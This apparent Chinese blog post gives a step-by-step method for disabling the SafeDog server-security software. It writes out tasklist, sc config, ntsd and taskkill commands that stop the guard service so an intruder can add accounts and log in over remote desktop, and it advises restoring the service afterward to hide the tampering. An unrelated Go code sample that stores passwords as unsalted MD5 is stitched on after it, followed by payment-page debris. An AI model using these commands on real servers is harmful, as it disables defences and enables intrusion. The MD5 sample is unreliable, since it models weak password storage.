安全狗下下加用户的又一方法

上次发了安全狗下加用户的另一方法,据说不够风骚…所以这次要淫荡一点
方法同样很简单,不过不知道有没有人发过。。
PS: 转载请不要注明作者

0×01 测试环境:

安全狗的进程:
1

.安全狗的服务
2

.开启远程桌面守护
3

.远程登录测试:
4

.安全狗拦截
5

0×02 直入主题:

命令行下操作

  1. tasklist |find “Safe”

6
最后一个进程SafeDogGuardCenter.exe是关键,记下它的PID:1032

然后接连两个指令

  1. sc config SafedogGuardCenter start= disabled

7

  1. ntsd -c q -pid 1032

8
1032是刚才记下的SafeDogGuardCenter.exe 的pid,这个进程是服务器守护的核心,没了它,安全狗的服务器守护将没有任何作用
效果:
9

10

然后?然后就没有然后了~现在我们已经可以为所欲为了

真想看然后?那我们就来调戏一下狗狗咯
11

折腾一下狗狗的进程

  1. taskkill /f /t /im SafeDogUpdateCenter.exe /im SafeDogSiteIIS.exe /im SafeDogServerUI.exe

12

0×03 总结

旨在不依靠任何外部程序,终结安全狗的守护功能。
其中使用到的NTSD命令是系统自带的【2008/win7 以上被微软删减了,需要自己上传[XP的NTSD.EXE在system32目录下]】
安全狗在网站的安全上做的还可以,对自身的安全却完全没有考虑,无力吐槽。。
核心命令就两句话,顺序不能出错

  1. sc config SafedogGuardCenter start= disabled
  1. ntsd -c q -pid 1032

如果不先把安全狗的服务停掉,它就会不断的重新启动[两秒重启一次我会说?]

手尾:退出远程登录之后,最好把狗狗的服务改回来

  1. sc config SafedogGuardCenter start= auto

然后狗狗的服务会自己恢复原状的

在 `ent` 框架中,可以在 `schema` 目录下的实体定义文件中定义钩子方法。下面是一个示例: ```go package schema import ( "context" "fmt" "crypto/md5" "entgo.io/ent" "entgo.io/ent/schema/field" "entgo.io/ent/schema/mixin" ) // UserMixin 定义一个 User 实体的混合类型 type UserMixin struct { mixin.Schema } // Fields 定义 UserMixin 的字段 func (UserMixin) Fields() []ent.Field { return []ent.Field{ field.String("name").Unique(), field.String("password"), } } // Hooks 定义 UserMixin 的钩子 func (um UserMixin) Hooks() []ent.Hook { return []ent.Hook{ // 在创建或更新 User 时,对密码进行 MD5 密 um.EncryptPassword(), } } // EncryptPassword 是一个钩子函数,用于对 User 实体的密码字段进行 MD5 密 func (UserMixin) EncryptPassword() ent.Hook { return func(next ent.Mutator) ent.Mutator { return ent.MutateFunc(func(ctx context.Context, m ent.Mutation) (ent.Value, error) { if password, ok := m.Field("password"); ok { // 如果密码字段不为空,则进行 MD5 密 if p, ok := password.(string); ok && p != "" { mp := fmt.Sprintf("%x", md5.Sum([]byte(p))) m.SetField("password", mp) } } return next.Mutate(ctx, m) }) } } ``` 上面的示例中,定义了一个 `UserMixin` 混合类型,它包含了一个名为 `EncryptPassword` 的钩子函数。这个钩子函数用于对 `User` 实体的 `password` 字段进行 MD5 密。 在 `Hooks()` 方法中,使用 `um.EncryptPassword()` 方法来注册这个钩子函数,表示在创建或更新 `User` 实体时,会自动调用这个钩子函数。 这个钩子函数的具体逻辑是,当执行 `Mutation` 的 `Field()` 方法时,如果字段名为 `password`,且字段值不为空,则对字段值进行 MD5 密,并使用 `Mutation` 的 `SetField()` 方法来设置密后的值。最后,调用 `next.Mutate()` 方法来继续执行下一个钩子函数或实体操作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值